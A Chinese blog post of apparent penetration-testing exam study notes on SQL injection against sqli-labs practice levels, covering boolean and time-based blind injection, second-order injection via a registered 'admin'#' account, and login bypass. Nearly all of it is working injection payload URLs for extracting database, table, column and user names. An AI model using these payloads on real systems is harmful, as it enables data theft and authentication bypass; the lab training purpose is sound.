前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【PTE-day04 SQL注入盲注】

【PTE-day04 SQL注入盲注】

原创
作者头像
samRsa
发布2023-11-17 19:24:36
1730
发布2023-11-17 19:24:36
举报

🧭数据库常用函数

代码语言:sql
复制
length()#长度函数
substr()#截取函数
ascii()#阿斯科码转换
count()#统计函数

1、布尔盲注

🌍(1)判断数据库长度

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and length(database())=8 --+

🌐(2)截取数据库名,判断字符的ascii码值

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1'  and ascii(substr((select database()),1,1))>114 --+
http://124.222.124.9:8888/Less-8/?id=1'  and ascii(substr((select database()),1,1))=115 --+

对应ascii表中的字符

代码语言:txt
复制
https://tool.ip138.com/ascii_code

逐步一个一个字符对应出数据库名。

🏝️(3)判断表数量

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1'  and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

🏜️(4)猜测数据表的长度

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

🏖️(5)猜测数据表名称

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+

🏕️(6)猜测字段数

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 --+

🌋(7)猜测字段名长度

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+

🏚️(8)猜测字段名

代码语言:sql
复制
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --+

🧱(9)猜测username值的数量

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and (select count(username) from users )=14 --+

🕌(10)猜测username值的长度

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+

⛺(11)猜测username的值

代码语言:sql
复制
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

2、时间盲注

涉及到的函数

if(a,b,c) 当a为真值时,执行b;当a为假值时,执行c

sleep(5) #休眠5秒

👡(1)查看数据库长度

代码语言:sql
复制
http://124.222.124.9:8888/Less-9/?id=1' and if(length(database())>7,sleep(3),1) --+

🩴(2)遍历数据库字符(这一步可省略)

代码语言:sql
复制
http://124.222.124.9:8888/Less-9/?id=1' and if(ascii(substr(database(),1,1))=114,sleep(3),1) --+
逐个遍历字符

👙(3)统计表数量

代码语言:sql
复制
http://124.222.124.9:8888/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+

👜(4)遍历表名

代码语言:sql
复制
http://124.222.124.9:8888/Less-9/?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>115,sleep(3),1) --+

👚(5)。。。。。。

3、二次注入

👔(1)靶场

代码语言:sql
复制
http://124.222.124.9:8888/Less-24/index.php

🧦(2)首先得知道系统中有哪个管理员账号

假设系统中存在admin管理员用户,尝试注册用户admin'#

👘(3)登录账号admin'#账号,修改密码

在sql拼接中,单引号闭合,井号注释后面的语句,导致修改密码的时候修改的是admin的密码

🪖(4)验证登录admin和你刚才修改的密码

⛑️(5)注册顺序

4、万能密码登录

(1)靶场

代码语言:txt
复制
http://124.222.124.9:8888/Less-11/

(2)注释掉条件

代码语言:txt
复制
payload:
admin' or '1'='1' #
admin' ###

(3)验证

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、布尔盲注
  • 2、时间盲注
  • 3、二次注入
  • 4、万能密码登录
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档